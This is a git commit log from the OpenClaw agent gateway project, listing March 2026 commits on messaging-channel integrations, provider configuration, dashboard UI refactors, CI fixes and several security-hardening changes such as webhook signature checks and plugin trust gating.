* Tests: document fresh import helper

* Telegram: share draft stream runtime state

* Tests: cover shared Telegram draft stream state

* Telegram: share sent message cache state

* Tests: cover shared Telegram sent message cache

* Telegram: share thread binding runtime state

* Tests: cover shared Telegram thread binding state

* Tests: avoid duplicate shared queue reset

* refactor(runtime): centralize global singleton access

* refactor(runtime): preserve undefined global singleton values

* test(runtime): cover undefined global singleton values

---------

Co-authored-by: Nimrod Gutman <nimrod.gutman@gmail.com>
2026-03-12 14:59:27 -04:00
Vincent Koc
08aa57a3de Commands: require owner for /config and /debug (#44305)
* Commands: add non-owner gate helper

* Commands: enforce owner-only config and debug

* Commands/test: cover owner-only config and debug

* Changelog: add owner-only config debug entry

* Commands/test: split config owner gating section

* Commands: redact sender ids in verbose command logs

* Commands: preserve internal read-only config access

* Commands/test: keep operator.write config show coverage non-owner
2026-03-12 14:58:14 -04:00
Josh Lehman
fda4965818 fix: format CSS files for oxfmt (#44313) 2026-03-12 11:58:00 -07:00
Vincent Koc
5e389d5e7c Gateway/ws: clear unbound scopes for shared-token auth (#44306)
* Gateway/ws: clear unbound shared-auth scopes

* Gateway/auth: cover shared-token scope stripping

* Changelog: add shared-token scope stripping entry

* Gateway/ws: preserve allowed control-ui scopes

* Gateway/auth: assert control-ui admin scopes survive allowed device-less auth

* Gateway/auth: cover shared-password scope stripping
2026-03-12 14:52:24 -04:00
liyuan97
55f47e5ce6 onboard(minimax): flatten auth to 4 direct choices, unify CN/Global under single provider (#44284)
Replace the multi-step MiniMax onboarding wizard with 4 flat options:
- MiniMax Global — OAuth (minimax.io)
- MiniMax Global — API Key (minimax.io)
- MiniMax CN — OAuth (minimaxi.com)
- MiniMax CN — API Key (minimaxi.com)

Storage changes:
- Unify CN and Global under provider "minimax" (baseUrl distinguishes region)
- Profiles: minimax:global / minimax:cn (both regions can coexist)
- Model ref: minimax/MiniMax-M2.5 (no more minimax-cn/ prefix)
- Remove LM Studio local mode and Lightning/Highspeed choice

Backward compatibility:
- Keep minimax-cn in provider-env-vars for existing configs
- Accept minimax-cn as legacy tokenProvider in CI pipelines
- Error with migration hint for removed auth choices in non-interactive mode
- Warn when dual-profile overwrites shared provider baseUrl

Made-with: Cursor
2026-03-12 11:23:42 -07:00
Vincent Koc
1492ad20a9 Ollama/Kimi: apply Moonshot payload compatibility (#44274)
* Runner: extend Moonshot payload compat to Ollama Kimi

* Changelog: note Ollama Kimi tool routing

* Tests: cover Ollama Kimi payload compat

* Runner: narrow Ollama Kimi payload compat
2026-03-12 14:17:01 -04:00
Val Alexander
2d42588a18 chore(changelog): update CHANGELOG.md to include new features in dashboard-v2, highlighting the refreshed gateway dashboard with modular views and enhanced chat tools (#41503) 2026-03-12 12:56:24 -05:00
Josh Lehman
9cb0fa58c2 fix: restore protocol outputs and stabilize Windows path CI (#44266)
* fix(ci): restore protocol outputs and stabilize Windows path test

Regenerate the Swift protocol models so protocol:check stops failing on main.
Align the session target test helper with the sync production realpath behavior so Windows does not compare runneradmin and RUNNER~1 spellings for the same file.

Regeneration-Prompt: |
  Investigate the failing checks from merged PR #34485 and confirm whether they still affect current main before changing code. Keep the fix tight: do not alter runtime behavior beyond what is required to clear the reproduced CI regressions. Commit the generated Swift protocol outputs for the PushTestResult transport field because protocol:check was failing from stale generated files on main. Also fix the Windows-only session target test by making its helper use the same synchronous realpath behavior as production discovery, so path spelling differences like runneradmin versus RUNNER~1 do not cause a false assertion failure.

* fix(ci): align session target realpath behavior on Windows

Use native realpath for sync session target discovery so it matches the async path on Windows, and update the session target test helper to assert against the same canonical path form.

Regeneration-Prompt: |
  After opening the follow-up PR for the CI regressions from merged PR #34485, inspect the new failing Windows shard instead of assuming the first fix covered every case. Keep scope limited to the session target path mismatch exposed by CI. Fix the inconsistency at the source by making sync session target discovery use the same native realpath canonicalization as the async discovery path on Windows, then update the test helper to match that shared behavior and verify the touched file with targeted tests and file-scoped lint/format checks.

* test: make merge config fixtures satisfy provider type

After rebasing the PR onto current origin/main, the merge helper test fixtures no longer satisfied ProviderConfig because the anthropic provider examples were missing required provider and model fields. Add a shared fully-typed model fixture and explicit anthropic baseUrl values so the test keeps full type coverage under tsgo.

Regeneration-Prompt: |
  Rebase the PR branch for #44266 onto the current origin/main because the failing CI error only reproduced on the merge ref. Re-run the type-check path and inspect src/agents/models-config.merge.test.ts at the exact compiler lines instead of weakening types globally. Keep the fix test-only: make the anthropic ProviderConfig fixtures structurally valid by supplying the required baseUrl and full model definition fields, and keep the shared fixture typed so tsgo accepts it without unknown casts.

* fix: align Windows session store test expectations
2026-03-12 10:55:29 -07:00
Val Alexander
f76a3c5225 feat(ui): dashboard-v2 views refactor (slice 3/3 of dashboard-v2) (#41503)
* feat(ui): add chat infrastructure modules (slice 1 of dashboard-v2)

New self-contained chat modules extracted from dashboard-v2-structure:

- chat/slash-commands.ts: slash command definitions and completions
- chat/slash-command-executor.ts: execute slash commands via gateway RPC
- chat/slash-command-executor.node.test.ts: test coverage
- chat/speech.ts: speech-to-text (STT) support
- chat/input-history.ts: per-session input history navigation
- chat/pinned-messages.ts: pinned message management
- chat/deleted-messages.ts: deleted message tracking
- chat/export.ts: shared exportChatMarkdown helper
- chat-export.ts: re-export shim for backwards compat

Gateway fix:
- Restore usage/cost stripping in chat.history sanitization
- Add test coverage for sanitization behavior

These modules are additive and tree-shaken — no existing code
imports them yet. They will be wired in subsequent slices.

* feat(ui): add utilities, theming, and i18n updates (slice 2 of dashboard-v2)

UI utilities and theming improvements extracted from dashboard-v2-structure:

Icons & formatting:
- icons.ts: expanded icon set for new dashboard views
- format.ts: date/number formatting helpers
- tool-labels.ts: human-readable tool name mappings

Theming:
- theme.ts: enhanced theme resolution and system theme support
- theme-transition.ts: simplified transition logic
- storage.ts: theme parsing improvements for settings persistence

Navigation & types:
- navigation.ts: extended tab definitions for dashboard-v2
- app-view-state.ts: expanded view state management
- types.ts: new type definitions (HealthSummary, ModelCatalogEntry, etc.)

Components:
- components/dashboard-header.ts: reusable header component

i18n:
- Updated en, pt-BR, zh-CN, zh-TW locales with new dashboard strings

All changes are additive or backwards-compatible. Build passes.
Part of #36853.

* feat(ui): dashboard-v2 views refactor (slice 3 of dashboard-v2)

Complete views refactor from dashboard-v2-structure, building on
slice 1 (chat infra, #41497) and slice 2 (utilities/theming, #41500).

Core app wiring:
- app.ts: updated host component with new state properties
- app-render.ts: refactored render pipeline for new dashboard layout
- app-render.helpers.ts: extracted render helpers
- app-settings.ts: theme listener lifecycle fix, cron runs on tab load
- app-gateway.ts: refactored chat event handling
- app-chat.ts: slash command integration

New views:
- views/command-palette.ts: command palette (Cmd+K)
- views/login-gate.ts: authentication gate
- views/bottom-tabs.ts: mobile tab navigation
- views/overview-*.ts: modular overview dashboard (cards, attention,
  event log, hints, log tail, quick actions)
- views/agents-panels-overview.ts: agent overview panel

Refactored views:
- views/chat.ts: major refactor with STT, slash commands, search,
  export, pinned messages, input history
- views/config.ts: restructured config management
- views/agents.ts: streamlined agent management
- views/overview.ts: modular composition from sub-views
- views/sessions.ts: enhanced session management

Controllers:
- controllers/health.ts: new health check controller
- controllers/models.ts: new model catalog controller
- controllers/agents.ts: tools catalog improvements
- controllers/config.ts: config form enhancements

Tests & infrastructure:
- Updated test helpers, browser tests, node tests
- vite.config.ts: build configuration updates
- markdown.ts: rendering improvements

Build passes  | 44 files | +6,626/-1,499
Part of #36853. Depends on #41497 and #41500.

* UI: fix chat review follow-ups

* fix(ui): repair chat clear and attachment regressions

* fix(ui): address remaining chat review comments

* fix(ui): address review follow-ups

* fix(ui): replay queued local slash commands

* fix(ui): repair control-ui type drift

* fix(ui): restore control UI styling

* feat(ui): enhance layout and styling for config and topbar components

- Updated grid layout for the config layout to allow full-width usage.
- Introduced new styles for top tabs and search components to improve usability.
- Added theme mode toggle styling for better visual integration.
- Implemented tests for layout and theme mode components to ensure proper rendering and functionality.

* feat(ui): add config file opening functionality and enhance styles

- Implemented a new handler to open the configuration file using the default application based on the operating system.
- Updated various CSS styles across components for improved visual consistency and usability, including adjustments to padding, margins, and font sizes.
- Introduced new styles for the data table and sidebar components to enhance layout and interaction.
- Added tests for the collapsed navigation rail to ensure proper functionality in different states.

* refactor(ui): update CSS styles for improved layout and consistency

- Simplified font-body declaration in base.css for cleaner code.
- Adjusted transition properties in components.css for better readability.
- Added new .workspace-link class in components.css for enhanced link styling.
- Changed config layout from grid to flex in config.css for better responsiveness.
- Updated related tests to reflect layout changes in config-layout.browser.test.ts.

* feat(ui): enhance theme handling and loading states in chat interface

- Updated CSS to support new theme mode attributes for better styling consistency across light and dark themes.
- Introduced loading skeletons in the chat view to improve user experience during data fetching.
- Refactored command palette to manage focus more effectively, enhancing accessibility.
- Added tests for the appearance theme picker and loading states to ensure proper rendering and functionality.

* refactor(ui): streamline ephemeral state management in chat and config views

- Introduced interfaces for ephemeral state in chat and config views to encapsulate related variables.
- Refactored state management to utilize a single object for better organization and maintainability.
- Removed legacy state variables and updated related functions to reference the new state structure.
- Enhanced readability and consistency across the codebase by standardizing state handling.

* chore: remove test files to reduce PR scope

* fix(ui): resolve type errors in debug props and chat search

* refactor(ui): remove stream mode functionality across various components

- Eliminated stream mode related translations and CSS styles to streamline the user interface.
- Updated multiple components to remove references to stream mode, enhancing code clarity and maintainability.
- Adjusted rendering logic in views to ensure consistent behavior without stream mode.
- Improved overall readability by cleaning up unused variables and props.

* fix(ui): add msg-meta CSS and fix rebase type errors

* fix(ui): add CSS for chat footer action buttons (TTS, delete) and msg-meta

* feat(ui): add delete confirmation with remember-decision checkbox

* fix(ui): delete confirmation with remember, attention icon sizing

* fix(ui): open delete confirm popover to the left (not clipped)

* fix(ui): show all nav items in collapsed sidebar, remove gap

* fix(ui): address P1/P2 review feedback — session queue clear, kill scope, palette guard, stop button

* fix(ui): address Greptile re-review — kill scope, queue flush, idle handling, parallel fetch

- SECURITY: /kill <target> now enforces session tree scope (not just /kill all)
- /kill reports idle sessions gracefully instead of throwing
- Queue continues draining after local slash commands
- /model fetches sessions.list + models.list in parallel (perf fix)

* fix(ui): style update banner close button — SVG stroke + sizing

* fix(ui): update layout styles for sidebar and content spacing

* UI: restore colon slash command parsing

* UI: restore slash command session queries

* Refactor thinking resolution: Introduce resolveThinkingDefaultForModel function and update model-selection to utilize it. Add tests for new functionality in thinking.test.ts.

* fix(ui): constrain welcome state logo size, add missing CSS for new session view

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-12 12:46:19 -05:00
Vincent Koc
86135d5889 Kimi Coding: set default subscription user agent (#44248)
* Providers: set default Kimi coding user agent

* Tests: cover Kimi coding header overrides

* Changelog: note Kimi coding user agent

* Tests: satisfy Kimi provider fixture type

* Update CHANGELOG.md

* Providers: preserve Kimi headers through models merge
2026-03-12 13:30:07 -04:00
Vincent Koc
33ba3ce951 fix(node-host): harden ambiguous approval operand binding (#44247)
* fix(node-host): harden approval operand binding

* test(node-host): cover approval parser hardening

* docs(changelog): note approval hardening GHSA cluster

* Update CHANGELOG.md

* fix(node-host): remove dead approval parser entries

* test(node-host): cover bunx approval wrapper

* fix(node-host): unwrap pnpm shim exec forms

* test(node-host): cover pnpm shim wrappers
2026-03-12 13:28:35 -04:00
Peter Steinberger
136adb4c02 docs: reorder unreleased changelog 2026-03-12 17:11:31 +00:00
Gustavo Madeira Santana
60c1577860 Gateway: preserve discovered session store paths 2026-03-12 17:08:55 +00:00
yuweuii
b3e6f92fd2 runner: infer names from malformed toolCallId variants (#34485)
Merged via squash.

Prepared head SHA: 150ea1a7c9
Co-authored-by: yuweuii <82372187+yuweuii@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 09:58:23 -07:00
Peter Steinberger
0b34671de3 fix: canonicalize openrouter native model keys 2026-03-12 16:51:00 +00:00
Peter Steinberger
115f24819e fix: make node-llama-cpp optional for npm installs 2026-03-12 16:45:59 +00:00
Peter Steinberger
9f08af1f06 fix(ci): harden docker builds and unblock config docs 2026-03-12 16:45:29 +00:00
Gustavo Madeira Santana
46f0bfc55b Gateway: harden custom session-store discovery (#44176)
Merged via squash.

Prepared head SHA: 52ebbf5188
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-12 16:44:46 +00:00
Peter Steinberger
dc3bb1890b docs: clarify gateway HTTP trust boundary 2026-03-12 16:40:36 +00:00
Vincent Koc
f96ba87f03 Zalo: rate limit invalid webhook secret guesses before auth (#44173)
* Zalo: rate limit webhook guesses before auth

* Tests: cover pre-auth Zalo webhook rate limiting

* Changelog: note Zalo pre-auth rate limiting

* Zalo: preserve auth-before-content-type response ordering

* Tests: cover auth-before-content-type webhook ordering

* Zalo: split auth and unauth webhook rate-limit buckets

* Tests: cover auth bucket split for Zalo webhook rate limiting

* Zalo: use trusted proxy client IP for webhook rate limiting

* Tests: cover trusted proxy client IP rate limiting for Zalo
2026-03-12 12:30:50 -04:00
Nimrod Gutman
96fb423528 fix(ios): add live activity horizontal padding 2026-03-12 18:20:44 +02:00
Nimrod Gutman
b77b7485e0 feat(push): add iOS APNs relay gateway (#43369)
* feat(push): add ios apns relay gateway

* fix(shared): avoid oslog string concatenation

# Conflicts:
#	apps/shared/OpenClawKit/Sources/OpenClawKit/GatewayChannel.swift

* fix(push): harden relay validation and invalidation

* fix(push): persist app attest state before relay registration

* fix(push): harden relay invalidation and url handling

* feat(push): use scoped relay send grants

* feat(push): configure ios relay through gateway config

* feat(push): bind relay registration to gateway identity

* fix(push): tighten ios relay trust flow

* fix(push): bound APNs registration fields (#43369) (thanks @ngutman)
2026-03-12 18:15:35 +02:00
2233admin
9342739d71 fix(providers): respect user-configured baseUrl for kimi-coding (#36647)
* fix(providers): respect user-configured baseUrl for kimi-coding

The kimi-coding provider was built exclusively from
`buildKimiCodingProvider()` defaults, ignoring any user-specified
`baseUrl` or other overrides in `openclaw.json` providers config.
This caused 404 errors when users configured a custom endpoint.

Now merge `explicitProviders["kimi-coding"]` on top of defaults,
matching the pattern used by ollama/vllm. User's `baseUrl`, `api`,
and `models` take precedence; env/profile API key still wins.

Fixes #36353

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* Tests: use Kimi implicit provider harness

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-12 12:14:07 -04:00
Vincent Koc
3e28e10c2f Plugins: require explicit trust for workspace-discovered plugins (#44174)
* Plugins: disable implicit workspace plugin auto-load

* Tests: cover workspace plugin trust gating

* Changelog: note workspace plugin trust hardening

* Plugins: keep workspace trust gate ahead of memory slot defaults

* Tests: cover workspace memory-slot trust bypass
2026-03-12 12:12:41 -04:00
chengzhichao-xydt
0a8fa0e001 Moonshot: respect explicit baseUrl for CN endpoint so platform.moonshot.cn keys authenticate (#33637) (#33696)
* Moonshot: respect explicit baseUrl for CN endpoint so platform.moonshot.cn keys authenticate (#33637)

* Moonshot: address review - remove dead constant, import canonical URLs (#33696)
2026-03-12 12:10:38 -04:00
Jacob Riff
3fa91cd69d feat: add sessions_yield tool for cooperative turn-ending (#36537)
Merged via squash.

Prepared head SHA: 75d9204c86
Co-authored-by: jriff <50276+jriff@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 08:46:47 -07:00
Gustavo Madeira Santana
e6897c800b Plugins: fix env-aware root resolution and caching (#44046)
Merged via squash.

Prepared head SHA: 6e8852a188
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-12 15:31:31 +00:00
Rodrigo Uroz
688e3f0863 Compaction Runner: emit transcript updates post-compact (#25558)
Merged via squash.

Prepared head SHA: 8a858436ed
Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 08:22:12 -07:00
Josh Lehman
8525fd94ea docs: sync Feishu secretref credential matrix
## Summary

- Problem: `src/secrets/target-registry.test.ts` fails on latest `main` because the runtime registry includes Feishu `encryptKey` paths that the docs matrix and surface reference omit.
- Why it matters: the docs/runtime sync guard currently blocks prep and merge work for unrelated PRs, including `#25558`.
- What changed: regenerated the secretref credential matrix and updated the surface reference to include both Feishu `encryptKey` paths.
- What did NOT change (scope boundary): no runtime registry behavior, config semantics, or channel handling changed.

## Change Type (select all)

- [x] Bug fix
- [ ] Feature
- [ ] Refactor
- [x] Docs
- [ ] Security hardening
- [ ] Chore/infra

## Scope (select all touched areas)

- [ ] Gateway / orchestration
- [ ] Skills / tool execution
- [ ] Auth / tokens
- [ ] Memory / storage
- [x] Integrations
- [ ] API / contracts
- [ ] UI / DX
- [ ] CI/CD / infra

## Linked Issue/PR

- Closes #
- Related #25558

## User-visible / Behavior Changes

None.

## Security Impact (required)

- New permissions/capabilities? `No`
- Secrets/tokens handling changed? `No`
- New/changed network calls? `No`
- Command/tool execution surface changed? `No`
- Data access scope changed? `No`
- If any `Yes`, explain risk + mitigation:

## Repro + Verification

### Environment

- OS: macOS
- Runtime/container: Node.js repo checkout
- Model/provider: N/A
- Integration/channel (if any): Feishu docs/runtime registry sync
- Relevant config (redacted): none

### Steps

1. Check out latest `main` before this change.
2. Run `./node_modules/.bin/vitest run --config vitest.unit.config.ts src/secrets/target-registry.test.ts`.
3. Apply this docs-only sync change and rerun the same command.

### Expected

- The target registry stays in sync with the generated docs matrix and the test passes.

### Actual

- Before this change, the test failed because `channels.feishu.encryptKey` and `channels.feishu.accounts.*.encryptKey` were missing from the docs artifacts.

## Evidence

Attach at least one:

- [x] Failing test/log before + passing after
- [ ] Trace/log snippets
- [ ] Screenshot/recording
- [ ] Perf numbers (if relevant)

## Human Verification (required)

What you personally verified (not just CI), and how:

- Verified scenarios: confirmed the failure on plain latest `main`, applied only these docs entries in a clean bootstrapped worktree, and reran `./node_modules/.bin/vitest run --config vitest.unit.config.ts src/secrets/target-registry.test.ts` to green.
- Edge cases checked: verified both top-level Feishu `encryptKey` and account-scoped `encryptKey` paths are present in the matrix and surface reference.
- What you did **not** verify: full repo test suite and CI beyond the targeted regression.

## Review Conversations

- [x] I replied to or resolved every bot review conversation I addressed in this PR.
- [x] I left unresolved only the conversations that still need reviewer or maintainer judgment.

If a bot review conversation is addressed by this PR, resolve that conversation yourself. Do not leave bot review conversation cleanup for maintainers.

## Compatibility / Migration

- Backward compatible? `Yes`
- Config/env changes? `No`
- Migration needed? `No`
- If yes, exact upgrade steps:

## Failure Recovery (if this breaks)

- How to disable/revert this change quickly: revert this commit.
- Files/config to restore: `docs/reference/secretref-user-supplied-credentials-matrix.json` and `docs/reference/secretref-credential-surface.md`
- Known bad symptoms reviewers should watch for: the target-registry docs sync test failing again for missing Feishu `encryptKey` entries.

## Risks and Mitigations

- Risk: the markdown surface reference could drift from the generated matrix again in a later credential-shape change.
  - Mitigation: `src/secrets/target-registry.test.ts` continues to guard docs/runtime sync.
2026-03-12 08:18:13 -07:00
Vincent Koc
8ad0ca309e Subagents: stop retrying external completion timeouts (#41235) (#43847)
* Changelog: add subagent announce timeout note

* Tests: cover subagent completion timeout no-retry

* Subagents: stop retrying external completion timeouts

* Config: update subagent announce timeout default docs

* Tests: use fake timers for subagent timeout retry guard
2026-03-12 11:03:06 -04:00
Vincent Koc
7844bc89a1 Security: require Feishu webhook encrypt key (#44087)
* Feishu: require webhook encrypt key in schema

* Feishu: cover encrypt key webhook validation

* Feishu: enforce encrypt key at startup

* Feishu: add webhook forgery regression test

* Feishu: collect encrypt key during onboarding

* Docs: require Feishu webhook encrypt key

* Changelog: note Feishu webhook hardening

* Docs: clarify Feishu encrypt key screenshot

* Feishu: treat webhook encrypt key as secret input

* Feishu: resolve encrypt key only in webhook mode
2026-03-12 11:01:00 -04:00
Vincent Koc
99170e2408 Hardening: normalize Unicode command obfuscation detection (#44091)
* Exec: cover unicode obfuscation cases

* Exec: normalize unicode obfuscation detection

* Changelog: note exec detection hardening

* Exec: strip unicode tag character obfuscation

* Exec: harden unicode suppression and length guards

* Exec: require path boundaries for safe URL suppressions
2026-03-12 10:57:49 -04:00
Vincent Koc
eff0d5a947 Hardening: tighten preauth WebSocket handshake limits (#44089)
* Gateway: tighten preauth handshake limits

* Changelog: note WebSocket preauth hardening

* Gateway: count preauth frame bytes accurately

* Gateway: cap WebSocket payloads before auth
2026-03-12 10:55:41 -04:00
Vincent Koc
3e730c0332 Security: preserve Feishu reaction chat type (#44088)
* Feishu: preserve looked-up chat type

* Feishu: fail closed on ambiguous reaction chats

* Feishu: cover reaction chat type fallback

* Changelog: note Feishu reaction hardening

* Feishu: fail closed without resolved chat type

* Feishu: normalize reaction chat type at runtime
2026-03-12 10:53:40 -04:00
Vincent Koc
48cbfdfac0 Hardening: require LINE webhook signatures (#44090)
* LINE: require webhook signatures in express handler

* LINE: require webhook signatures in node handler

* LINE: update express signature tests

* LINE: update node signature tests

* Changelog: note LINE webhook hardening

* LINE: validate signatures before parsing webhook bodies

* LINE: reject missing signatures before body reads
2026-03-12 10:50:36 -04:00
Lyle
c965049dc6 fix(mattermost): pass mediaLocalRoots through reply delivery (#44021)
Merged via squash.

Prepared head SHA: 856f11f129
Co-authored-by: LyleLiu666 <31182860+LyleLiu666@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-12 20:13:51 +05:30
Altay
797b6fe614 ci: tighten cache docs and node22 gate 2026-03-12 20:07:44 +05:30
Altay
e1d054547e ci: restore PR pnpm cache fallback 2026-03-12 20:07:44 +05:30
Altay
29b36f8e4a ci: harden pnpm sticky cache on PRs 2026-03-12 20:07:44 +05:30
Altay
b0f717aa02 build: align Node 22 guidance with 22.16 minimum 2026-03-12 20:07:44 +05:30
Altay
0a8d2b6200 build: raise Node 22 compatibility floor to 22.16 2026-03-12 20:07:44 +05:30
Altay
deada7edd3 build: default to Node 24 and keep Node 22 compat 2026-03-12 20:07:44 +05:30
Vincent Koc
2f037f0930 Agents: adapt pi-ai oauth and payload hooks 2026-03-12 10:19:14 -04:00
0x4C33
f3be1c828c fix(status): resolve context window by provider-qualified key, prefer max on bare-id collision, solve #35976 (#36389)
Merged via squash.

Prepared head SHA: f8cf752c59
Co-authored-by: haoruilee <60883781+haoruilee@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 07:00:36 -07:00
rabsef-bicrym
ff47876e61 fix: carry observed overflow token counts into compaction (#40357)
Merged via squash.

Prepared head SHA: b99eed4329
Co-authored-by: rabsef-bicrym <52549148+rabsef-bicrym@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-12 06:58:42 -07:00
avirweb
f2e28fc30f fix(telegram): allow fallback models in /model validation (#40105)
Merged via squash.

Prepared head SHA: de07585e03
Co-authored-by: avirweb <257412074+avirweb@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-12 13:55:51 +01:00
Teconomix
171d2df9e0 feat(mattermost): add replyToMode support (off | first | all) (#29587)
Merged via squash.

Prepared head SHA: 4a67791f53
Co-authored-by: teconomix <6959299+teconomix@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-12 18:03:12 +05:30
Sally O'Malley
8e0e4f736a docs: add Kubernetes install guide, setup script, and manifests (#34492)
* add docs and manifests for k8s install

Signed-off-by: sallyom <somalley@redhat.com>

* changelog

Signed-off-by: sallyom <somalley@redhat.com>

---------

Signed-off-by: sallyom <somalley@redhat.com>
2026-03-12 07:28:21 -04:00
Nimrod Gutman
4f620bebe5 fix(doctor): canonicalize gateway service entrypoint paths (#43882)
Merged via squash.

Prepared head SHA: 9f530d2a86
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman
2026-03-12 12:39:22 +02:00
Ayaan Zaidi
783a0d540f fix: add zalouser outbound chunker 2026-03-12 15:47:12 +05:30
Ayaan Zaidi
8582cb08b5 fix: stop main-session UI replies inheriting channel routes (#43918) 2026-03-12 15:39:34 +05:30
Ayaan Zaidi
5acf6cae8e fix: stop main-session UI replies inheriting channel routes 2026-03-12 15:39:34 +05:30
glitch
8ea79b64d0 fix: preserve sandbox write payload stdin (#43876)
Merged via squash.

Prepared head SHA: a10fd4b21c
Co-authored-by: glitch418x <189487110+glitch418x@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-12 12:42:57 +03:00
jnMetaCode
f640326e31 fix(failover): add missing network errno patterns to text-based timeout classifier (#42830)
Merged via squash.

Prepared head SHA: 91761487e8
Co-authored-by: jnMetaCode <12096460+jnMetaCode@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-12 12:34:44 +03:00
darkamenosa
a6711afdc2 feat(zalouser): add markdown-to-Zalo text style parsing (#43324)
* feat(zalouser): add markdown-to-Zalo text style parsing

Parse markdown formatting (bold, italic, strikethrough, headings, lists,
code blocks, blockquotes, custom color/style tags) into Zalo native
TextStyle ranges so outbound messages render with rich formatting.

- Add text-styles.ts with parseZalouserTextStyles() converter
- Wire markdown mode into send pipeline (sendMessageZalouser)
- Export TextStyle enum and Style type from zca-client
- Add textMode/textStyles to ZaloSendOptions
- Pass textStyles through sendZaloTextMessage to zca-js API
- Enable textMode:"markdown" in outbound sendText/sendMedia and monitor
- Add comprehensive tests for parsing, send, and channel integration

* fix(zalouser): harden markdown text parsing

* fix(zalouser): mirror zca-js text style types

* fix(zalouser): support tilde fenced code blocks

* fix(zalouser): handle quoted fenced code blocks

* fix(zalouser): preserve literal quote lines in code fences

* fix(zalouser): support indented quoted fences

* fix(zalouser): preserve quoted markdown blocks

* fix(zalouser): rechunk formatted messages

* fix(zalouser): preserve markdown structure across chunks

* fix(zalouser): honor chunk limits and CRLF fences
2026-03-12 16:24:15 +07:00
Vincent Koc
7c889e7113 Refactor: trim duplicate gateway/onboarding helpers and dead utils (#43871)
* Gateway: share input provenance schema

* Onboarding: dedupe top-level channel patching

* Utils: remove unused path helpers

* Protocol: refresh generated gateway models
2026-03-12 05:04:31 -04:00
Vincent Koc
cb7b38105f Merge remote-tracking branch 'origin/vincentkoc-code/fix-terminal-table-width'
* origin/vincentkoc-code/fix-terminal-table-width:
  Terminal: consume unsupported escape bytes in tables
  Skills: normalize emoji presentation across outputs
  Changelog: note terminal skills table fixes
  Skills: use Terminal-safe emoji in list output
  Terminal: stop shrinking CLI tables by one column
  Terminal: refine table wrapping and width handling
  Update CHANGELOG.md
  Deps: patch file-type and hono
  Tests: cover emoji table alignment
  Terminal: wrap table cells by grapheme width
  Terminal: measure grapheme display width
  Tests: cover grapheme terminal width
  Changelog: add unreleased March 9 entries

# Conflicts:
#	CHANGELOG.md
#	package.json
#	pnpm-lock.yaml
#	src/cli/skills-cli.format.ts
#	src/terminal/table.test.ts
2026-03-12 04:56:21 -04:00
Vincent Koc
1dfc35fc28 Merge branch 'vincentkoc-code/fix-terminal-table-width' of https://github.com/openclaw/openclaw into vincentkoc-code/fix-terminal-table-width
* 'vincentkoc-code/fix-terminal-table-width' of https://github.com/openclaw/openclaw:
  Update CHANGELOG.md
2026-03-12 04:51:56 -04:00
Luke
62a71361a9 Docs: clarify llm-task thinking presets 2026-03-12 19:27:07 +11:00
Val Alexander
46cb73da37 feat(ui): utilities, theming, and i18n updates (slice 2/3 of dashboard-v2) (#41500)
* feat(ui): add utilities, theming, and i18n updates (slice 2 of dashboard-v2)

UI utilities and theming improvements extracted from dashboard-v2-structure:

Icons & formatting:
- icons.ts: expanded icon set for new dashboard views
- format.ts: date/number formatting helpers
- tool-labels.ts: human-readable tool name mappings

Theming:
- theme.ts: enhanced theme resolution and system theme support
- theme-transition.ts: simplified transition logic
- storage.ts: theme parsing improvements for settings persistence

Navigation & types:
- navigation.ts: extended tab definitions for dashboard-v2
- app-view-state.ts: expanded view state management
- types.ts: new type definitions (HealthSummary, ModelCatalogEntry, etc.)

Components:
- components/dashboard-header.ts: reusable header component

i18n:
- Updated en, pt-BR, zh-CN, zh-TW locales with new dashboard strings

All changes are additive or backwards-compatible. Build passes.
Part of #36853.

* ui: fix theme and locale review regressions

* ui: fix review follow-ups for dashboard tabs

* ui: allowlist locale password placeholder false positives

* ui: fix theme mode and locale regressions

* Vincentkoc code/pr 41500 route fix (#43829)

* UI: keep unfinished settings routes hidden

* UI: normalize light theme data token

* UI: restore cron type compatibility

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-12 04:26:39 -04:00
Xaden Ryan
658bd54ecf feat(llm-task): add thinking override
Co-authored-by: Xaden Ryan <165437834+xadenryan@users.noreply.github.com>
2026-03-12 19:21:35 +11:00
Vincent Koc
f37815b323 Gateway: block profile mutations via browser.request (#43800)
* Gateway: block profile mutations via browser.request

* Changelog: note GHSA-vmhq browser request fix

* Gateway: normalize browser.request profile guard paths
2026-03-12 04:21:03 -04:00
Vincent Koc
46a332385d Gateway: keep spawned workspace overrides internal (#43801)
* Gateway: keep spawned workspace overrides internal

* Changelog: note GHSA-2rqg agent boundary fix

